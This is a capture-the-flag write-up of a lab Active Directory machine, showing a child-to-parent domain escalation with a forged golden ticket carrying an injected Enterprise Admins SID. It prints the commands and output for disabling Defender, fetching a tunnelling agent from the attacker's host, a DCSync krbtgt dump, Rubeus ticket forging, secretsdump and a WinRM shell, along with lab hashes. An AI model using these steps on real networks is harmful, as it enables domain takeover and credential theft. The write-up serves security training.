Child → Parent Trust Abuse: ExtraSIDs

To escalate privileges from the child domain corp.ghost.htb to the parent domain ghost.htb, I’ll perform a SID History Injection. In AD the sIDHistory attribute is used to preserve users’ old SIDs when they are migrated to a new domain, so the user doesn’t lose their permissions. When a user logs in, this SID history is inserted into a field called ExtraSids inside the TGT’s PAC.

By default, domains in the same forest don’t filter SIDs coming from other domains or child domains, so the parent domain assumes that the SIDs inside the PAC are legitimate.

Since I have maximum privileges in the child domain, I can forge a TGT for any user and inject the SID of a privileged group (such as Enterprices Admins) into the ExtraSids field. Then, when I authenticate to DC01 in the parent domain with that TGT, it will think I’m a member of that group and grant me elevated privileges.

Setup Ligolo-Ng

To work more comfortably and communicate with each server’s internal IP address, I’ll use Ligolo-Ng to create a tunnel from my machine to the internal network.

To avoid issues with Windows Defender, I’ll simply disable it:

C:\Privesc>powershell Set-MpPreference -DisableRealtimeMonitoring $true

First, we need to create a virtual network interface for Ligolo-Ng and add a static route to reach the target network.

[bryan@sec]$ sudo su
[root@sec]# ip tuntap add user root mode tun ligolo
[root@sec]# ip link set ligolo up
[root@sec]# ip route add 10.0.0.0/24 dev ligolo

We also need to transfer the agent to the PRIMARY server and initialize Ligolo-Ng:

C:\Privesc>powershell iwr -Uri http://10.10.15.79/agent.exe -OutFile agent.exe

-----
[root@sec]# ./proxy -selfcert
INFO[0000] Loading configuration file ligolo-ng.yaml    
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
INFO[0000] Listening on 0.0.0.0:11601                   
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   

  Made in France ♥            by @Nicocha30!
  Version: 0.8.3

ligolo-ng »

Now we need to run the agent and start the tunnel:

C:\Privesc>./agent.exe -ignore-cert

-----
ligolo-ng »
INFO[0057] Agent joined.      id=00155d443c01 name="GHOST-CORP\\PRIMARY$@PRIMARY" remote="10.129.231.105:49800"
ligolo-ng » session
? Specify a session : 1 - GHOST-CORP\PRIMARY$@PRIMARY - 10.129.231.105:49880 - 00155d443c01
[Agent : GHOST-CORP\PRIMARY$@PRIMARY] » 
[Agent : GHOST-CORP\PRIMARY$@PRIMARY] » start

Finally, we need to modify /etc/hosts so that each domain resolves to its respective server:

echo "10.0.0.254      gitea.ghost.htb intranet.ghost.htb federation.ghost.htb core.ghost.htb dc01.ghost.htb ghost.htb" >> /etc/hosts
echo "10.0.0.10       primary.corp.ghost.htb corp.ghost.htb" >> /etc/hosts

Golden Ticket

To perform the attack, I first need to obtain the following information:

First, I’ll extract the AES256 key for krbtgt:

C:\Privesc>.\mimikatz.exe "privilege::debug" "lsadump::dcsync /user:GHOST-CORP\krbtgt" "exit"
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:GHOST-CORP\krbtgt" "exit"

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /user:GHOST-CORP\krbtgt
[DC] 'corp.ghost.htb' will be the domain
[DC] 'PRIMARY.corp.ghost.htb' will be the DC server
[DC] 'GHOST-CORP\krbtgt' will be the user account

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 1/31/2024 7:34:01 PM
Object Security ID   : S-1-5-21-2034262909-2733679486-179904498-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 69eb46aa347a8c68edb99be2725403ab
    ntlm- 0: 69eb46aa347a8c68edb99be2725403ab
    lm  - 0: fceff261045c75c4d7f6895de975f6cb

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4acd753922f1e79069fd95d67874be4c

* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.GHOST.HTBkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d
      aes128_hmac       (4096) : ea18711cfd69feef0c8efba75bca9235
      des_cbc_md5       (4096) : b3e070025110ce1f
...[snip]...

Now we need retrieve the SID of the child domain and the parent domain:

PS C:\Privesc> (Get-ADDomain).DomainSID.Value
S-1-5-21-2034262909-2733679486-179904498

PS C:\Privesc> Get-ADDomain -Identity (Get-ADDomain).ParentDomain | Select DomainSID
DomainSID                               
---------                               
S-1-5-21-4084500788-938703357-3654145966

I’ll use these values to forge a golden ticket:

PS C:\Privesc>.\Rubeus.exe golden /aes256:b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d /ldap /domain:corp.ghost.htb /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /user:Administrator /ticket:golden_ticket.kirbi /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2 

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PRIMARY.corp.ghost.htb
[X] Error binding to LDAP server: The LDAP server is unavailable.
[!] LDAPS failed, retrying with plaintext LDAP.
[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/DC=corp,DC=ghost,DC=htb' for '(samaccountname=Administrator)'
[*] Retrieving group and domain policy information over LDAP from domain controller PRIMARY.corp.ghost.htb
[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/DC=corp,DC=ghost,DC=htb' for '(|(distinguishedname=CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=ghost,DC=htb)(distinguishedname=CN=Domain Admins,CN=Users,DC=corp,DC=ghost,DC=htb)(distinguishedname=CN=Administrators,CN=Builtin,DC=corp,DC=ghost,DC=htb)(objectsid=S-1-5-21-2034262909-2733679486-179904498-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\primary.corp.ghost.htb\SYSVOL
[*] \\primary.corp.ghost.htb\SYSVOL successfully mounted
[*] Attempting to unmount: \\primary.corp.ghost.htb\SYSVOL
[*] \\primary.corp.ghost.htb\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PRIMARY.corp.ghost.htb
[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/CN=Configuration,DC=ghost,DC=htb' for '(&(netbiosname=*)(dnsroot=corp.ghost.htb))'
[*] Building PAC

[*] Domain         : CORP.GHOST.HTB (GHOST-CORP)
[*] SID            : S-1-5-21-2034262909-2733679486-179904498
[*] UserId         : 500
[*] Groups         : 544,512,520,513
[*] ExtraSIDs      : S-1-5-21-4084500788-938703357-3654145966-519
[*] ServiceKey     : B0EB79F35055AF9D61BCBBE8CCAE81D98CF63215045F7216FFD1F8E009A75E8D
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : B0EB79F35055AF9D61BCBBE8CCAE81D98CF63215045F7216FFD1F8E009A75E8D
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : corp.ghost.htb

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@corp.ghost.htb'

[*] AuthTime       : 9/20/2026 7:40:30 AM
[*] StartTime      : 9/20/2026 7:40:30 AM
[*] EndTime        : 9/20/2026 5:40:30 PM
[*] RenewTill      : 9/27/2026 7:40:30 AM

[*] base64(ticket.kirbi):

      doIF1TCCBdGgAwIBBaEDAgEWooIEujCCBLZhggSyMIIErqADAgEFoRAbDkNPUl...[snip]...

This command will provide a base64-encoded blob in KIRBI format.


To use the ticket, I need to first decode the KIRBI and convert it to a CCACHE file:

[bryan@sec]$ cat golden_ticket.kirbi | base64 -d | sponge golden_ticket.kirbi 
[bryan@sec]$ ticketConverter.py golden_ticket.kirbi golden_ticket.ccache
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done
[bryan@sec]$ ls
golden_ticket.kirbi golden_ticket.ccache

With this ticket, I can now authenticate as the Administrator user and extract all the secrets from the parent domain ghost.htb:

[bryan@sec]$ KRB5CCNAME=./golden_ticket.ccache nxc smb 'dc01.ghost.htb' -u 'Administrator' -d 'corp.ghost.htb' -k --use-kcache
SMB         dc01.ghost.htb  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         dc01.ghost.htb  445    DC01             [+] corp.ghost.htb\Administrator from ccache (Pwn3d!)

KRB5CCNAME=./golden_ticket.ccache secretsdump.py 'Administrator@dc01.ghost.htb' -k -no-pass -just-dc-ntlm -just-dc-user 'ghost\Administrator'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cdb17d5c14ff69e7067cffcc9e470bd:::
[*] Cleaning up...

Finally, I’ll spawn a WinRM shell on DC01 as the Administrator user and read the last flag:

ewp -i 10.129.231.105 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to '10.129.231.105:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>
evil-winrm-py PS C:\Users\Administrator\Documents> (Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue | ? { $_.Nam
e -like "*user.txt" -or $_.Name -like "*root.txt" }).ForEach({ echo "Content of file $($_.FullName) : $(type $_.FullName)" })
Content of file C:\Users\Administrator\Desktop\root.txt : a51fa5627293d14af8273e99e867e1bd
Content of file C:\Users\justin.bradley\Desktop\user.txt : a1e0a947871cf7bd3b8ec6c2b796d5ea